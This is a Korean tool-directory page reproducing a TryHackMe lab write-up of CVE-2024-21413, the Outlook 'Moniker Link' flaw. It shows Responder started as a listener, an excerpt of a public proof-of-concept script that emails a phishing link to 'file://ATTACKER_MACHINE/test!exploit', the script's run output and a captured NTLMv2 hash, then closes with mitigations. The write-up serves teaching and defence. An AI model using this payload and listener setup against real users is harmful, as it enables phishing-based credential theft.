Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
tryhackme-monikerlink-writeup — TryHackMe Moniker Link (CVE-2024-21413) 워크스루: 조작된 모니커 링크를 통한 Outlook 보호된 보기(Protected View) 우회로 NTLMv2 해시를 캡처합니다. | Kitploit
도구/GitHubGitHub/omarmahmoud1024/tryhackme-monikerlink-writeup
Phishing ToolsVulnerability AnalysisExploitationPhishingCTFLearning & EducationLabs & Practice
GitHubomarmahmoud1024/tryhackme-monikerlink-writeup

tryhackme-monikerlink-writeup

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

TryHackMe Moniker Link (CVE-2024-21413) 워크스루: 조작된 모니커 링크를 통한 Outlook 보호된 보기(Protected View) 우회로 NTLMv2 해시를 캡처합니다.

저장소 보기
61개월 전아직 검토되지 않음

TryHackMe: Moniker Link — CVE-2024-21413 워크스루

TryHackMe의 "Moniker Link" 룸 전체 워크스루: 2024년 Microsoft Outlook 취약점인 CVE-2024-21413을 무기화하여, 피해자가 피싱 이메일의 링크를 클릭하는 순간 NTLMv2 해시를 탈취하는 방법입니다. 매크로도, 첨부 파일도, 눈에 띄는 보안 경고도 없이 말이죠.

CVE-2024-21413("Moniker Link")은 Outlook이 Windows OLE "moniker" 구문(경로 뒤의 !, 예: file://host/share!something)을 사용하는 file:// 링크를 검증하는 방식에서 발생하는 취약점입니다. Outlook은 외부 파일 링크를 보호된 보기(Protected View)로 열도록 되어 있으며, 보호된 보기는 파일을 샌드박스에 가두고 자격 증명이 누출되기 전에 사용자에게 경고합니다. 추가된 ! 하나가 Outlook 자체 URL 파서를 아주 약간만 교란해서 보호된 보기를 완전히 건너뛰고 링크를 곧장 Windows에 전달합니다. Windows는 이 링크가 UNC 경로처럼 보이기 때문에 공격자 서버에 대해 SMB 인증을 조용히 시도합니다. 이 인증 시도로 인해 피해자가 평범해 보이는 링크를 클릭한 것 외에 아무것도 하기 전에 NTLMv2 해시가 누출됩니다.

룸 구조

작업목표
1. 정찰CVE와 moniker-link 파싱 버그가 보호된 보기를 우회하는 방식 이해
2. 리스너 설정외부 SMB 인증을 잡기 위해 Responder 구동
3. 무기화악성 moniker 링크가 포함된 피싱 이메일 제작
4. 전달피해자 사서함으로 이메일 전송
5. 캡처피해자가 링크를 클릭하도록 유도하고 NTLMv2 해시 캡처

워크스루

1. 리스너 설정

root@kitploit:~
responder -I ens5

Responder는 아무것도 보내기 전에 공격자 박스의 인터페이스에서 시작되며, LLMNR, NBT-NS, DNS 중독이 활성화됩니다. 이것이 실제로 자격 증명 누출을 잡는 부분입니다. 익스플로잇이 Outlook을 속여 공격자 IP에 대해 SMB 인증을 시도하게 만들면, Responder가 반대편에서 이를 받아내는 것입니다.

ens5에서 수신 대기 중인 Responder

1. 정찰 — 피해자 사서함

대상은 표준 Outlook 사서함인 [email protected]이며, 피싱 이메일이 도착하기 전의 평범한 받은 편지함 화면을 보여줍니다. 나머지 룸 작업이 진행되는 기준 상태입니다.

공격 전 피해자의 Outlook 받은 편지함

3. 무기화 — 익스플로잇 스크립트

root@kitploit:~
sender_email = '[email protected]'
receiver_email = '[email protected]'
...
<p><a href="file://ATTACKER_MACHINE/test!exploit">Click me</a></p>

익스플로잇(CMNatic의 공개 CVE-2024-21413 PoC)은 SMTP를 통해 HTML 이메일을 만들어 보내는 작은 Python 스크립트입니다. 페이로드는 전적으로 한 줄에 있습니다. 공격자 머신을 가리키는 <a href="file://..."> 링크에 경로 끝에 !exploit이 붙어 있습니다. 이 끝의 !가 바로 버그의 전부입니다. Outlook의 링크 파서가 URL을 잘못 분류하게 만들어, 외부 파일 링크에 일반적으로 적용되는 보호된 보기 검사를 건너뛰게 합니다.

nano에서 본 exploit.py 소스

4. 전달 — 이메일 보내기

root@kitploit:~
python3 exploit.py
Enter your attacker email password: attacker
Email delivered

스크립트를 실행하면 메일 서버에 인증하고 제작된 이메일을 피해자에게 보냅니다. Email delivered 메시지는 이메일이 공격자의 사서함을 성공적으로 떠났음을 확인해 줍니다.

exploit.py 실행, 이메일 전달 완료

4. 전달 — 피해자 받은 편지함에 도착

이메일은 CMNatic이 보낸 제목 CVE-2024-21413인 메일로 [email protected]의 받은 편지함에 도착합니다. 내용은 "Click me"라는 하이퍼링크 하나뿐입니다. 첨부 파일도, 매크로 경고도, 일반적인 피싱 필터나 주의 깊은 사용자가 의심할 만한 요소도 없습니다.

피해자 받은 편지함에 도착한 피싱 이메일

5. 캡처 — 피해자가 링크를 클릭

"Click me"를 클릭하면 Outlook의 Windows 탐색기 오류 대화상자가 나타납니다: "'\10.113.72.84\test!exploit' 항목을 찾을 수 없습니다. 올바른 위치 또는 웹 주소를 사용하고 있는지 확인하세요." 이 오류는 사실 익스플로잇이 이미 작동했음을 증명합니다. 이 대화상자가 나타날 때쯤 Windows는 이미 SMB를 통해 해당 UNC 경로를 확인하려 시도했고, 그 과정에서 이미 10.113.72.84(공격자 머신)에 인증을 수행했습니다. 보이는 실패는 애초에 존재하지 않도록 만들어진 공유를 Explorer가 찾지 못한 것일 뿐이며, 자격 증명 누출은 오류 상자가 뜨기 전에 이미 조용히 일어났습니다.

링크 클릭 후 나타난 Outlook UNC 경로 없음 오류

5. 캡처 — Responder에서 해시 캡처

root@kitploit:~
[SMB] NTLMv2-SSP Username : THM-MONIKERLINK\tryhackme
[SMB] NTLMv2-SSP Hash     : tryhackme::THM-MONIKERLINK:3f2abcd40483ccba:...

공격자 박스로 돌아와 보면, Responder가 10.113.150.143(피해자)에서 발생한 THM-MONIKERLINK\tryhackme의 전체 NTLMv2-SSP 핸드셰이크를 이미 캡처했습니다. 자격 증명 프롬프트도, 보안 경고도, 평범해 보이는 링크를 한 번 클릭한 것 외의 어떤 사용자 조작도 없었습니다. Outlook이 moniker 링크를 잘못 처리하는 순간 해시는 크래킹하거나 릴레이할 준비가 된 상태였습니다.

Responder가 NTLMv2 해시를 캡처하는 모습

사용된 도구

  • Responder — LLMNR/NBT-NS/DNS 중독 및 SMB 인증 캡처
  • 사용자 지정 Python SMTP 스크립트 (CMNatic의 CVE-2024-21413 PoC) — 악성 moniker 링크 이메일을 제작하고 전달
  • Microsoft Outlook(피해자 클라이언트) — 취약한 구성 요소. Microsoft의 2024년 2월 패치 이전의 CVE-2024-21413 영향을 받는 버전

핵심 요점

  • 단일 후행 문자(!)가 취약점의 전부였습니다. CVE-2024-21413은 URL/경로 파서가 보안 경계 우회의 흔한 원인임을 잘 보여줍니다. 잘못된 입력이 검사를 피하려면 복잡할 필요 없이, 검사가 다루지 않는 코드 경로에 들어가기만 하면 됩니다.
  • 보호된 보기(Protected View)는 정확히 이런 유형의 공격을 막기 위해 존재하며, 이 버그의 실제 영향은 NTLM 누출 자체가 아니라 보호된 보기를 조용히 우회한 것이었습니다. file:// 링크에서의 NTLM 릴레이/캡처는 오래된 기법이며, 이 CVE가 주목받은 이유는 Outlook이 원래 경고 없이는 링크가 실행되도록 두지 않았어야 했기 때문입니다.
  • NTLM 인증은 시도만으로도 자격 증명을 누출합니다. 상대방의 "공유"가 존재하지 않더라도 마찬가지입니다. 피해자는 비밀번호를 입력하거나 로그인 프롬프트를 본 적이 없습니다. Windows는 UNC 경로를 탐색하려다(실패했지만) 그 과정에서 NTLMv2 해시를 자동으로 넘겨준 것입니다.
  • 피해자 관점에서 이 공격은 제로클릭에 가깝습니다. 첨부 파일도, 매크로도, 명백한 위험 신호도 없는 링크를 한 번만 클릭하면 충분했습니다. 패치(Microsoft는 2024년 2월 업데이트에서 수정)와 신뢰할 수 없는 호스트로 향하는 아웃바운드 NTLM 인증 비활성화가 실제 두 가지 완화책입니다. 이메일에서 특별히 수상한 점이 없었기 때문에 사용자 교육만으로는 이를 막을 수 없었을 것입니다.
도구 다운로드